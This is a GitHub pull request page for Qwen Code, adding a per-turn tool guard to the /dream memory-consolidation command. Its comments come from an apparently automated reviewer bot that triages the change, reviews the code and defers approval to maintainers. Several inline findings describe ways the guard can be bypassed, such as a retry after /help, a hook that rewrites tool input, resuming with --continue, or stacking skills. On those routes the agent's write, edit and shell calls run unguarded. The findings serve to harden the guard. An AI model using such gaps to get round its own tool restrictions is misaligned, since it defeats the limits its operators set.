feat(memory): guard manual dream tool turns - #8357
Conversation
|
Thanks for the PR! Template looks good ✓ Problem: This is a security-consistency hardening rather than a field-observed bug with a reproduction. The gap it closes is concrete and documented: #7714 gave forked scheduled/workspace Dream workers a deterministic pinned-memory boundary, but the visible Direction: Aligned. The design doc ( Size: Touches core ( Approach: The scope feels right and the implementation reuses the merged #7714 boundary ( Risk: Flagging the security-sensitive core surface + the high-risk ACP path for a maintainer's attention; moving on to code review. 🔍 中文说明感谢贡献！ 模板完整 ✓ 问题： 这是一项安全性一致性加固，而不是带有复现的线上 bug。它弥补的缺口是具体且有记录的：#7714 为 forked 的定时/工作区 Dream worker 提供了确定性的 pinned-memory 边界，但用户可见的 方向： 对齐。设计文档此前写明：如果要给可见的 规模： 触及核心（ 方案： 范围合理，实现复用了已合并的 #7714 边界（ 风险： 就安全敏感的核心面 + 高风险 ACP 路径提请维护者关注；进入代码审查。🔍 — Qwen Code · qwen3.8-max-preview Reviewed at |
Code reviewMy independent take before reading the diff: enforce the pinned boundary on a visible The implementation is faithful reuse, not a parallel implementation. The turn isolation is the delicate part and it is handled carefully. In the TUI the guard is stored as One thing I checked specifically, since it looks risky at first glance: tools that fall through No correctness, security, or regression blockers found. The boundary test ( sequenceDiagram
participant P1 as Dream command
participant P2 as submit_prompt result
participant P3 as Execution surface
participant P4 as Tool scheduler
participant P5 as Guard composition
participant P6 as Tool execute
P1->>P2: create guard, attach to turn
P2->>P3: carry guard with prompt id
P3->>P4: schedule tool calls with guard
P4->>P5: evaluate host guard then turn guard
alt any guard denies
P5-->>P4: EXECUTION_DENIED
else all allow
P5->>P6: run tool
end
P3->>P3: clear guard when turn ends
Files changed (27 of 27 shown)
Testing evidence (PR's own CI, read via API — PR code was not executed)The primary unit suite is still running on the reviewed commit, so nothing here can claim "tests pass" yet. Final CI results for
One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行（取最新一次运行），省略 skipped，失败项排在最前。 The author reports Core 378 / CLI 246 focused tests passing locally on macOS — that is the author's claim, not independently re-run here (this is an unattended CI run; PR code is never executed by the gate). Sandboxed verification would settle the load-bearing claim: 中文说明代码审查读 diff 前我的独立思路：要把 pinned 边界强制施加在可见的 实现是忠实的复用，而非平行实现。 回合隔离是微妙之处，处理得很仔细。TUI 中守卫以 我专门核查了一处乍看有风险的地方：落入 未发现正确性、安全性或回归性阻塞问题。边界测试（ （时序图与文件清单见上方英文部分。） 测试证据（通过 API 读取 PR 自身 CI——未执行 PR 代码）主单元测试套件在被审 commit 上仍在运行，因此此处尚不能声称"测试通过"。 作者报告在 macOS 本地 Core 378 / CLI 246 聚焦测试通过——这是作者声明，未在此独立复跑（这是无人值守 CI 运行；门禁从不执行 PR 代码）。 沙箱验证可以坐实关键主张： — Qwen Code · qwen3.8-max-preview Reviewed at |
|
Confidence: 3/5 — the code itself is solid (faithful reuse of the merged #7714 boundary, careful turn isolation, thorough boundary tests), but this is a fork PR that changes a core permission/security boundary plus the high-risk ACP path, and a bot should not be the approving vote on that — it needs a maintainer's sign-off. Stepping back: the motivation is real and the direction is pre-validated — the project's own design doc named a per-turn permission override (not session-wide mutation) as the right way to close this gap, and that is precisely what landed. The implementation does not overreach: it reuses existing logic instead of adding a parallel enforcement path, the guard composes additively with host guards so nothing is weakened, and the turn-scoping (prompt-id matching in the TUI, WeakMap-with-explicit-delete in the scheduler) is exactly the kind of careful work that keeps a per-turn guard from leaking into notification drains or the next user turn. If I had to maintain this in six months I would thank the author, not curse them. Why I am not approving, despite a clean review:
So: ⏸️ deferring to the 中文说明置信度：3/5 —— 代码本身扎实（忠实复用已合并的 #7714 边界、仔细的回合隔离、充分的边界测试），但这是一个修改核心权限/安全边界以及高风险 ACP 路径的 fork PR，机器人不应成为其批准票——需要维护者签字。 退一步看：动机真实，方向已预先验证——项目自身设计文档就把"回合级权限覆盖（而非会话级修改）"命名为弥补此缺口的正确方式，而落地的正是它。实现没有过度扩张：复用既有逻辑而非新增平行执行路径，守卫以附加方式与 host guard 组合因而不削弱任何东西，回合限定（TUI 中的 prompt-id 匹配、调度器中带显式删除的 WeakMap）正是让回合级守卫不泄漏到通知 drain 或下一用户回合所需的细致工作。如果半年后由我维护，我会感谢作者而非埋怨。 为何在审查干净的情况下仍不批准：
因此：⏸️ 转交 — Qwen Code · qwen3.8-max-preview Reviewed at |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: reverse audit — stopped before round 3 by the review time budget.
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 8 more.
中文说明
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：反向审计——评审时间预算不足，未能开始第 3 轮。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 8 more。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| const lastPromptToolInvocationGuardRef = useRef< | ||
| ToolInvocationGuard | undefined | ||
| >(undefined); |
There was a problem hiding this comment.
[Critical] Any idle slash command that is handled without producing a model turn (/help, /stats, /model, /btw …) routes through submitQuery as SendMessageType.UserQuery, whose entry block unconditionally clears both guard refs. If a prior /dream turn errored — lastPromptErroredRef stays true and the UI still offers the Ctrl+Y retry — the Retry re-attach finds lastPromptToolInvocationGuardRef.current === undefined, so the retried dream consolidation runs with no turn guard at all. Verified by probe on this commit: the retried guarded turn's tool batch was scheduled without the guard; a probe fix that retains the guard across a !shouldProceed return flipped the result.
Failure scenario: /dream hits a stream error → the user types /help while idle → the user presses Ctrl+Y to retry → the retried consolidation's write_file/edit/shell calls run on the unbounded session tool surface; in YOLO/auto-edit modes there is no approval backstop, so pinned-memory writes this PR exists to block become possible.
Suggested fix: move the clear from the entry of submitQuery into the prepareQueryForGemini success path (or skip it when the command resolves handled without submitting a model turn), so the retained retry guard survives handled commands; add a regression step: guarded turn errors → handled slash command → Retry → assert the guard is still passed.
中文说明
任何不产生模型回合、直接处理完成的空闲斜杠命令（/help、/stats、/model、/btw …）都会以 SendMessageType.UserQuery 进入 submitQuery，其入口块会无条件清空两个守卫引用。如果此前的 /dream 回合出错——lastPromptErroredRef 仍为 true，界面仍然提供 Ctrl+Y 重试——Retry 重新挂载时会发现 lastPromptToolInvocationGuardRef.current === undefined，导致重试的 dream 整合回合在完全没有回合守卫的情况下运行。已在本提交上用探针验证：重试的受守卫回合的工具批次在没有守卫的情况下被调度；用「在 !shouldProceed 返回时保留守卫」的探针修复后结果翻转。
失败场景：/dream 流式出错 → 用户空闲时输入 /help → 用户按 Ctrl+Y 重试 → 重试整合回合的 write_file/edit/shell 调用运行在不受限的会话工具面上；在 YOLO/auto-edit 模式下没有审批兜底，本 PR 本应阻止的 pinned-memory 写入因此可能发生。
建议修复：把清空逻辑从 submitQuery 入口移到 prepareQueryForGemini 成功路径（或在命令以 handled 结束且未提交模型回合时跳过清空），使保留的重试守卫在 handled 命令之后仍然存在；并补充回归用例：受守卫回合并出错 → 执行 handled 斜杠命令 → 重试 → 断言守卫仍被传入。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| if ( | ||
| !processingResult.scheduledToolContinuation && | ||
| !lastPromptErroredRef.current && | ||
| submitPromptToolInvocationGuardRef.current?.promptId === prompt_id | ||
| ) { |
There was a problem hiding this comment.
[Critical] The post-delivery guard clear runs in the outer turn frame right after it awaits an immediate-duplicate ToolResult continuation, and consults only the outer frame's own processingResult.scheduledToolContinuation. The duplicate-suppression path only fires when executableToolCallRequests is empty (forcing the outer scheduledToolContinuation === false); the nested continuation can schedule fresh, non-duplicate tool calls and return, and the outer frame then wipes both guard refs while those tools still run. Already-scheduled batches stay guarded via the scheduler's per-request association, which hides the drop for one hop. Verified by probe: the next continuation of the same prompt id scheduled without the guard; skipping the clear when an immediate-duplicate continuation was submitted flipped it.
Failure scenario: on a guarded /dream turn the provider re-emits tool-call ids → the nested continuation schedules fresh tools → the outer frame clears both guard refs → when the tools complete, the next ToolResult continuation (same prompt id) evaluates the promptId match to undefined, and every subsequent hop of the dream loop is scheduled without the per-turn guard — the model's write_file/edit/shell invocations run under only session-wide permissions.
Suggested fix: propagate the nested submission's continuation status into the outer clear decision — have the immediate-duplicate submitQuery path report whether it scheduled a tool continuation (return value, metadata callback, or ref) and extend this condition with it.
中文说明
投递后的守卫清空运行在外层回合帧中，且紧跟其 await 的 immediate-duplicate ToolResult 续轮之后，只检查外层帧自己的 processingResult.scheduledToolContinuation。去重抑制路径仅在 executableToolCallRequests 为空时触发（此时外层 scheduledToolContinuation === false）；嵌套续轮可以调度新的、不重复的工具调用并返回，随后外层帧会在这些工具仍在运行时清空两个守卫引用。已调度的批次仍受 scheduler 按请求关联的守卫保护，因此该断档被掩盖了一跳。已用探针验证：同一 prompt id 的下一跳续轮在没有守卫的情况下被调度；在「提交了 immediate-duplicate 续轮时跳过清空」后结果翻转。
失败场景：受守卫的 /dream 回合中 provider 重复发出工具调用 id → 嵌套续轮调度新工具 → 外层帧清空两个守卫引用 → 工具完成后，下一跳 ToolResult 续轮（同一 prompt id）的 promptId 匹配为 undefined，dream 循环此后每一跳都在没有回合守卫的情况下被调度——模型的 write_file/edit/shell 调用只受会话级权限约束。
建议修复：把嵌套提交的续轮状态传递给外层清空判断——让 immediate-duplicate 的 submitQuery 路径上报其是否调度了工具续轮（返回值、元数据回调或引用），并将其加入此条件。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| const requestToolInvocationGuard = this.requestToolInvocationGuards.get( | ||
| scheduledCall.request, | ||
| ); |
There was a problem hiding this comment.
[Critical] The per-request guard WeakMap is keyed by request-object identity, but setArgsInternal replaces call.request with a clone ({ ...call.request, args }) on three reachable paths: a PermissionRequest hook granting with updatedInput (no user interaction required), the approval-dialog 'modify' editor flow, and inline modify with payload.newContent. The call then executes via executeSingleToolCall → _executeToolCallBody, where this lookup misses the WeakMap for the clone, so requestToolInvocationGuard is undefined and only the host guard is evaluated. Verified by probe: control arm turnGuard calls=1 / execute calls=0 (guard denies); clone arm turnGuard calls=0 / execute calls=1 (guard never consulted); copying the WeakMap entry onto the clone flips it.
Failure scenario: during /dream, a PermissionRequest hook allows a shell call with updatedInput rewriting the command (or a user-modified write_file/edit whose file_path becomes a pinned path); the call executes with the turn guard skipped, writing to pinned memory or outside the memory root the guard exists to protect.
Suggested fix: carry the guard across the clone in setArgsInternal — after building the new request object, copy any requestToolInvocationGuards entry from the old request to the new one; or key guards by callId, which survives arg updates.
中文说明
按请求的守卫 WeakMap 以请求对象标识为键，但 setArgsInternal 在三条可达路径上会用克隆对象（{ ...call.request, args }）替换 call.request：PermissionRequest hook 以 updatedInput 放行（无需用户交互）、审批对话框的『modify』编辑器流程、以及带 payload.newContent 的内联修改。随后该调用经 executeSingleToolCall → _executeToolCallBody 执行，此处对克隆对象的 WeakMap 查找必然落空，requestToolInvocationGuard 为 undefined，只有 host 守卫会被评估。已用探针验证：对照臂 turnGuard 调用=1 / execute 调用=0（守卫拒绝）；克隆臂 turnGuard 调用=0 / execute 调用=1（守卫从未被咨询）；把 WeakMap 条目复制到克隆对象后结果翻转。
失败场景：/dream 期间，PermissionRequest hook 以 updatedInput 改写命令后放行 shell 调用（或用户通过 modify 把 write_file/edit 的 file_path 改为 pinned 路径）；该调用在执行时跳过了回合守卫，从而写入 pinned memory 或守卫本应保护的 memory root 之外的位置。
建议修复：在 setArgsInternal 中把守卫随克隆一起迁移——构建新请求对象后，把旧请求上的 requestToolInvocationGuards 条目复制到新请求；或改用 callId 作为守卫的键（参数更新不会改变它）。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| fullTurnRuntimeView, | ||
| fullTurnToolInvocationGuard, | ||
| ); |
There was a problem hiding this comment.
[Critical] fullTurnToolInvocationGuard is captured once and never reset when the guarded turn ends — declaration, capture, and this consumption are its only references. In a headless run with an active Goal, the goal-admission branch claims the /dream submission as a goal turn; when the dream turn finalizes, shouldFinalizeTurn (and terminateTurn && activeGoalTurn) dequeue the runtime-scheduled next Goal segment and continue, re-entering processToolCallBatch at this guarded call site with the stale dream guard. The field's own JSDoc says 'applied only to this submitted turn', and the drain call site deliberately omits the guard (pinned by a test) — Goal continuations bypass that structural protection by reusing the guarded call site. Verified by probe with a real Goal runtime: the dequeued continuation's executeToolCall received hasGuard=true; clearing the guard at turn finalization flips it.
Failure scenario: run qwen "/dream" in a workspace with an active Goal; when the dream turn finishes, the dequeued Goal continuation's tools (writes outside managed memory, non-read-only shell, sub-agent delegation) are spuriously denied by the expired dream guard with EXECUTION_DENIED / 'unavailable in this scoped turn', breaking the goal continuation.
Suggested fix: clear the guard when the guarded turn ends — e.g. fullTurnToolInvocationGuard = undefined; at the top of the if (shouldFinalizeTurn) block, before any continue to a dequeued goal turn — or capture the guard per-turn alongside currentMessages instead of as a run-lived variable.
中文说明
fullTurnToolInvocationGuard 只被捕获一次，且在受守卫回合结束时从未被重置——声明、捕获和此处消费是它仅有的三处引用。在有活跃 Goal 的无头运行中，goal 准入分支会把 /dream 提交认领为 goal 回合；当 dream 回合收尾时，shouldFinalizeTurn（以及 terminateTurn && activeGoalTurn）会从运行时调度的队列中取出下一个 Goal 片段并 continue，重新进入 processToolCallBatch 的这个受守卫调用点，携带已过期的 dream 守卫。该字段的 JSDoc 明确写着『仅应用于本次提交的回合』，且 drain 调用点刻意不传守卫（有测试固化）——Goal 续轮通过复用受守卫的调用点绕过了这层结构性保护。已用真实 Goal runtime 探针验证：出队续轮的 executeToolCall 收到 hasGuard=true；在回合收尾时清空守卫后结果翻转。
失败场景：在有活跃 Goal 的工作区运行 qwen "/dream"；dream 回合结束后，出队的 Goal 续轮的工具（managed memory 之外的写入、非只读 shell、子代理委派）会被过期的 dream 守卫以 EXECUTION_DENIED /『unavailable in this scoped turn』错误拒绝，导致 goal 续轮被破坏。
建议修复：在受守卫回合结束时清空守卫——例如在 if (shouldFinalizeTurn) 块顶部（任何转向出队 goal 片段的 continue 之前）执行 fullTurnToolInvocationGuard = undefined;——或者把守卫改为与 currentMessages 一样按回合捕获，而不是作为贯穿整个运行的变量。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| fullTurnToolInvocationGuard = | ||
| slashCommandResult.toolInvocationGuard; |
There was a problem hiding this comment.
[Suggestion] An interrupted /dream tool loop resumed via --continue (continueInterrupted) runs without the turn guard: the guard is only captured inside the live slash-command branch, and the recovery path pre-populates initialPartList via buildSessionRecoveryPlanFromApiHistory before that branch, so this capture never runs. The same class applies to the ACP path, where isSlashInput = !isContinue && isSlashCommand(inputText) skips capture for DAEMON_CONTINUE_META_KEY continuations. Headless /dream is newly enabled by this PR, so this resume path comes into existence with it.
Failure scenario: qwen -p '/dream' is killed mid tool loop → qwen -p --continue resumes the orphaned run's parts without re-executing the slash command → fullTurnToolInvocationGuard stays undefined and the resumed consolidation's write/edit/shell calls execute under only the session-wide permission manager — pinned-memory mutations the guard exists to block.
Suggested fix: document the limitation, or on the recovery path detect a resumed Dream turn (the continuation parts begin with the Dream consolidation prompt) and re-attach createManualDreamToolInvocationGuard(projectRoot).
中文说明
通过 --continue（continueInterrupted）恢复的被中断 /dream 工具循环会在没有回合守卫的情况下运行：守卫只在即时斜杠命令分支内捕获，而恢复路径在此之前就通过 buildSessionRecoveryPlanFromApiHistory 预填了 initialPartList，因此此捕获永远不会执行。ACP 路径属于同类：isSlashInput = !isContinue && isSlashCommand(inputText) 会为 DAEMON_CONTINUE_META_KEY 续轮跳过捕获。无头 /dream 由本 PR 新启用，因此该恢复路径也随之出现。
失败场景：qwen -p '/dream' 在工具循环中途被终止 → qwen -p --continue 恢复孤立运行的片段且不会重新执行斜杠命令 → fullTurnToolInvocationGuard 保持 undefined，恢复后的整合回合的 write/edit/shell 调用只受会话级权限管理器约束——正是守卫本应阻止的 pinned-memory 修改。
建议修复：记录该限制；或在恢复路径中检测被恢复的 Dream 回合（续轮片段以 Dream 整合提示开头），并重新挂载 createManualDreamToolInvocationGuard(projectRoot)。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| channelDeliveryCapture?: ChannelDeliveryCapture, | ||
| toolInvocationGuard?: ToolInvocationGuard, | ||
| ): Promise<{ stopReason: PromptResponse['stopReason'] }> { |
There was a problem hiding this comment.
[Suggestion] The guard threaded through #handleStopHookLoop and its three continuation runToolCalls sites is never exercised: none of the three new ACP tests triggers a blocking Stop hook, even though the existing describe('Stop hook') suite already mocks the blocking flow. Dropping the guard here keeps all tests green. Verified by probe: all 22 guard-matching tests and the 20-test Stop-hook suite passed under the mutation; a Stop-hook case with a denying guard failed under the mutation and passed on the PR code.
Failure scenario: an ACP client runs /dream in a workspace with a blocking Stop hook; the hook forces continuation after the model's first response, and the model calls write_file on a pinned path during that continuation; if this thread regresses, the call bypasses the dream guard and pinned memory is modified.
Suggested fix: add a Stop-hook suite case: /dream submit_prompt with a denying guard, a blocking Stop hook, and a functionCall in the continuation stream; assert the guard is consulted and the tool does not execute.
中文说明
穿过 #handleStopHookLoop 及其三处续轮 runToolCalls 调用点的守卫从未被任何测试执行：三个新的 ACP 测试都没有触发阻塞式 Stop hook，尽管现有的 describe('Stop hook') 套件已经 mock 了阻塞流程。删除此处的守卫不会让任何测试变红。已用探针验证：变异下全部 22 个守卫匹配测试与 20 个 Stop-hook 套件测试均通过；一个带拒绝守卫的 Stop-hook 用例在变异下失败、在 PR 代码上通过。
失败场景：ACP 客户端在有阻塞式 Stop hook 的工作区运行 /dream；hook 在模型首次响应后强制续轮，模型在该续轮中对 pinned 路径调用 write_file；如果此穿线回归，该调用将绕过 dream 守卫，pinned memory 被修改。
建议修复：在 Stop-hook 套件中新增用例：带拒绝守卫的 /dream submit_prompt、阻塞式 Stop hook、续轮流中的 functionCall；断言守卫被咨询且工具未执行。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| await scheduler.schedule( | ||
| [request('unguarded-next-turn', 'git status')], | ||
| new AbortController().signal, | ||
| ); |
There was a problem hiding this comment.
[Suggestion] This test ('applies an additional guard to one schedule without leaking it') uses a freshly created request object for the unguarded second schedule — request() is a factory, so the stale-guard-removal delete in _schedule (coreToolScheduler.ts:2268) is a no-op on a nonexistent key — and the reused-request test passes a guard on both schedules (set-overwrite only). The branch whose stated purpose is preventing a stale guard on a deliberately reused request therefore has zero coverage. Verified by probe: removing the branch kept all 8 guard tests green; reusing firstRequest for the unguarded schedule failed under the mutation (the stale dream guard denied an ordinary turn's git status) and passed on the PR code.
Failure scenario: a retry path reschedules the same ToolCallRequestInfo without a guard after an earlier guarded scheduling; with the branch removed, the WeakMap returns the stale dream guard and an ordinary (non-dream) turn's tool calls are denied — false denials on unrelated turns.
Suggested fix: reuse firstRequest for the unguarded second schedule instead of a new request object, and assert it executes.
中文说明
该测试（'applies an additional guard to one schedule without leaking it'）在无守卫的第二次调度中使用了全新创建的请求对象——request() 是工厂函数，因此 _schedule 中用于移除过期守卫的 delete（coreToolScheduler.ts:2268）作用在不存在的键上，是空操作——而复用请求的测试两次调度都传了守卫（只覆盖 set 覆写路径）。这个以『防止刻意复用的请求携带过期守卫』为目的的分支因此零覆盖。已用探针验证：删除该分支后全部 8 个守卫测试仍为绿色；让无守卫的第二次调度复用 firstRequest 后，测试在变异下失败（过期的 dream 守卫拒绝了普通回合的 git status）、在 PR 代码上通过。
失败场景：重试路径在一次带守卫的调度之后，不带守卫地重新调度同一个 ToolCallRequestInfo；若该分支被移除，WeakMap 会返回过期的 dream 守卫，导致普通（非 dream）回合的工具调用被拒绝——对无关回合的误拒。
建议修复：让无守卫的第二次调度复用 firstRequest 而不是新的请求对象，并断言其正常执行。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| toolLoopState, | ||
| onFullTurnModel, | ||
| fullTurnToolInvocationGuard, |
There was a problem hiding this comment.
[Suggestion] No test exercises the guard on a second tool batch of an ACP slash turn: the only session.prompt()-level test arranges exactly one tool batch (the first mocked sendMessageStream yields one function call, every later call returns createEmptyStream()), so the loop's second iteration never reaches runToolCalls; the other two new tests call runToolCalls directly. Production is currently correct (the guard is declared once, assigned once, re-passed on every loop iteration, never cleared) — but a one-shot regression keeps all three tests green.
Failure scenario: a regression clearing fullTurnToolInvocationGuard after the first batch passes all tests, while every batch from the second on of a real /dream turn — the model retrying a denied write, or issuing further writes — executes under only session-wide permissions.
Suggested fix: extend the ACP slash-turn test so the post-tool-result model stream yields a second function call, and assert the guard is invoked (and denial enforced) on that second batch too.
中文说明
没有测试覆盖 ACP 斜杠回合的第二个工具批次上的守卫：唯一的 session.prompt() 级测试只安排了一个工具批次（第一个 mock 的 sendMessageStream 产出一个函数调用，之后每次调用都返回 createEmptyStream()），因此循环的第二次迭代永远到不了 runToolCalls；另外两个新测试直接调用 runToolCalls。生产代码目前是正确（守卫声明一次、赋值一次、每次循环迭代都重新传入、从不清除）——但一次性（one-shot）回归不会让任何测试变红。
失败场景：在第一个批次后清除 fullTurnToolInvocationGuard 的回归能通过所有测试，而真实 /dream 回合从第二个批次起——模型重试被拒绝的写入，或继续发起写入——都只受会话级权限约束。
建议修复：扩展 ACP 斜杠回合测试，让工具结果后的模型流再产出第二个函数调用，并断言第二个批次上守卫被调用（且拒绝被执行）。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| expect(mockCoreExecuteToolCall).toHaveBeenCalledWith( | ||
| mockConfig, | ||
| toolRequest, | ||
| expect.any(AbortSignal), | ||
| expect.objectContaining({ toolInvocationGuard }), | ||
| ); |
There was a problem hiding this comment.
[Suggestion] 'keeps a slash-command tool guard for the full headless turn' emits exactly one ToolCallRequest and then finishes, so this assertion covers first-batch attachment only — the 'full turn' property its name claims is untested. Production is currently correct (the loop-scoped variable is passed on every iteration at nonInteractiveCli.ts:2310), but nothing pins it.
Failure scenario: a mutation clearing fullTurnToolInvocationGuard after the first processToolCallBatch (e.g. a future 'prevent leak into drains' fix resetting it mid-loop) keeps both headless tests green, while the second tool batch of a headless /dream turn executes write/edit/shell without the guard.
Suggested fix: add a third mockReturnValueOnce stream that emits a second ToolCallRequest in response to the ToolResult send, and assert mockCoreExecuteToolCall received expect.objectContaining({ toolInvocationGuard }) on both calls.
中文说明
『keeps a slash-command tool guard for the full headless turn』只发出一个 ToolCallRequest 然后结束，因此该断言仅覆盖首批次的守卫挂载——其名称所声称的『整回合』属性并未被测试。生产代码目前是正确（循环作用域变量在 nonInteractiveCli.ts:2310 的每次迭代都被传入），但没有任何测试固化它。
失败场景：在第一次 processToolCallBatch 后清除 fullTurnToolInvocationGuard 的变异（例如未来某个『防止泄漏到 drain』的修复在循环中途重置它）能让两个无头测试保持绿色，而无头 /dream 回合的第二个工具批次将在没有守卫的情况下执行 write/edit/shell。
建议修复：追加第三个 mockReturnValueOnce 流，在响应 ToolResult 发送时发出第二个 ToolCallRequest，并断言两次调用中 mockCoreExecuteToolCall 都收到了 expect.objectContaining({ toolInvocationGuard })。
— qwen3.8-max via Qwen Code /review (v0.21.7)
| /** Optional execution-time guard applied only to this submitted turn. */ | ||
| toolInvocationGuard?: ToolInvocationGuard; |
There was a problem hiding this comment.
[Suggestion] The TUI's stacked-skill merge in slashCommandProcessor.ts (974-991) builds the merged submit_prompt result from content, modelOverride, refreshContextFilesOnWrite, and onComplete only — skillResult.toolInvocationGuard is never carried in, while the single-command path in the same file forwards it. This is the sister site of the headless merge drop in nonInteractiveCliCommands.ts; a fix touching only one file leaves the other dropping the field. Latent today: parseStackedSlashCommands only stacks CommandKind.SKILL commands and no SKILL-kind command produces a guard yet — but this type now invites one.
Failure scenario: the first guard-carrying skill run stacked with a second skill (/guarded-skill /other-skill do X) executes its whole tool loop under only session-wide permissions, while the identical command run alone is guarded — a silent policy bypass that depends solely on whether the user stacked the invocation.
Suggested fix: in the stacked merge, collect/forward the guard alongside the other merged fields (e.g. first non-undefined skillResult.toolInvocationGuard, mirroring firstModelOverride) and include it in the returned submit_prompt — matching the shape chosen for the headless merge.
中文说明
TUI 中 slashCommandProcessor.ts（974-991）的堆叠技能合并只从 content、modelOverride、refreshContextFilesOnWrite 和 onComplete 构建合并后的 submit_prompt 结果——skillResult.toolInvocationGuard 从未被带入，而同文件的单命令路径却转发了它。这是无头侧 nonInteractiveCliCommands.ts 合并丢弃的姊妹位置；只修一个文件会留下另一个继续丢弃该字段。目前是潜伏问题：parseStackedSlashCommands 只堆叠 CommandKind.SKILL 命令，且尚无 SKILL 类命令产生守卫——但该类型现在已经为守卫敞开了口子。
失败场景：第一个携带守卫的技能与第二个技能堆叠运行（/guarded-skill /other-skill do X）时，其整个工具循环只受会话级权限约束，而同一命令单独运行时却受守卫保护——一个仅取决于用户是否堆叠调用的静默策略绕过。
建议修复：在堆叠合并中与其他合并字段一起收集/转发守卫（例如取第一个非 undefined 的 skillResult.toolInvocationGuard，与 firstModelOverride 对齐），并包含进返回的 submit_prompt——与无头侧合并所选的形状保持一致。
— qwen3.8-max via Qwen Code /review (v0.21.7)
|
Qwen Code review timed out. Qwen review timed out after 21600 seconds (of the 360-minute budget). This run already used the maximum 360 minute timeout. See workflow logs. |
|
@qwen-code /resolve |
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
Qwen Code resolved the merge conflicts and pushed the branch update. Merge resolution: PR #8357 ← origin/mainRoot causeMain's Textual, not semanticThe two changes touch adjacent lines but independent logic: the PR adds a history-preservation closure; main adds a guard-mode argument to the loop-state factory. The resolution is their union: const preserveTurnPolicy = (candidate: readonly Part[]): Part[] =>
options.toolInvocationGuard
? preserveManualDreamToolGuardMarker(
this.#getCurrentChat().getHistory(),
candidate,
)
: [...candidate];
const toolLoopState = createDaemonToolLoopState('off');Verified both directions: merged tree vs What is load-bearing
Not verifiedNo build/typecheck/tests were run (per this workflow). Note for CI: main's #8469 renamed 中文说明冲突根因：main 上的 文本冲突，非语义冲突：两边逻辑相互独立，解决方式为两者并集——保留 PR 的 关键约束： 未验证项：本流程不运行构建/测试，正确性由 PR 自身 CI 覆盖。已双向核对：合并结果相对 origin/main 恰为本 PR 变更集；相对合并前分支恰为 main 的变更行集合，无遗漏、无残留冲突标记。 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): PR #8357 (QwenLM/qwen-code) threads a turn-scoped /dream ...: none — all planned checks completed within budget.; PR #8357 (QwenLM/qwen-code) extends deterministic pinned-...: none — all checks above completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — all checks above completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — all checks above completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — all checks above completed within budget., and 9 more.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 8 more.
中文说明
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）：PR #8357 (QwenLM/qwen-code) threads a turn-scoped /dream ...：none — all planned checks completed within budget.；PR #8357 (QwenLM/qwen-code) extends deterministic pinned-...：none — all checks above completed within budget.；You are review agent reverse-audit — Reverse audit agen...：none — all checks above completed within budget.；You are review agent reverse-audit — Reverse audit agen...：none — all checks above completed within budget.；You are review agent reverse-audit — Reverse audit agen...：none — all checks above completed within budget.，另有 9 条。
未审查：反向审计——在 5 轮的反审轮数上限内未收敛。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 8 more。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| export { createManualDreamToolInvocationGuard } from './memory/dreamAgentPlanner.js'; | ||
| export * from './memory/manual-dream-turn-policy.js'; |
There was a problem hiding this comment.
[Critical] The new manual-dream-turn-policy barrel export pulls a module-scope read of SYSTEM_REMINDER_CLOSE from environmentContext.js into the import graph of the unmodified packages/core/src/agents/runtime/agent-headless.test.ts, which partially mocks environmentContext.js without that export — the suite fails at collection, so none of its 60 tests run. — Failure scenario: any vitest run that collects agent-headless.test.ts (e.g. npm test --workspace=packages/core): the import graph reaches index.ts → manual-dream-turn-policy.ts:13 evaluates its marker template literal against the partial mock → [vitest] No "SYSTEM_REMINDER_CLOSE" export is defined on the "../../utils/environmentContext.js" mock → the suite fails at collection with zero tests executed, and the whole packages/core suite exits 1. Measured net-new against the merge base (base runs the file 60/60 green; this tree fails deterministically, single-file repro on both trees); the failing Test (ubuntu-latest, Node 22.x) CI check is consistent with it.
| export { createManualDreamToolInvocationGuard } from './memory/dreamAgentPlanner.js'; | |
| export * from './memory/manual-dream-turn-policy.js'; | |
| export { createManualDreamToolInvocationGuard } from './memory/dreamAgentPlanner.js'; |
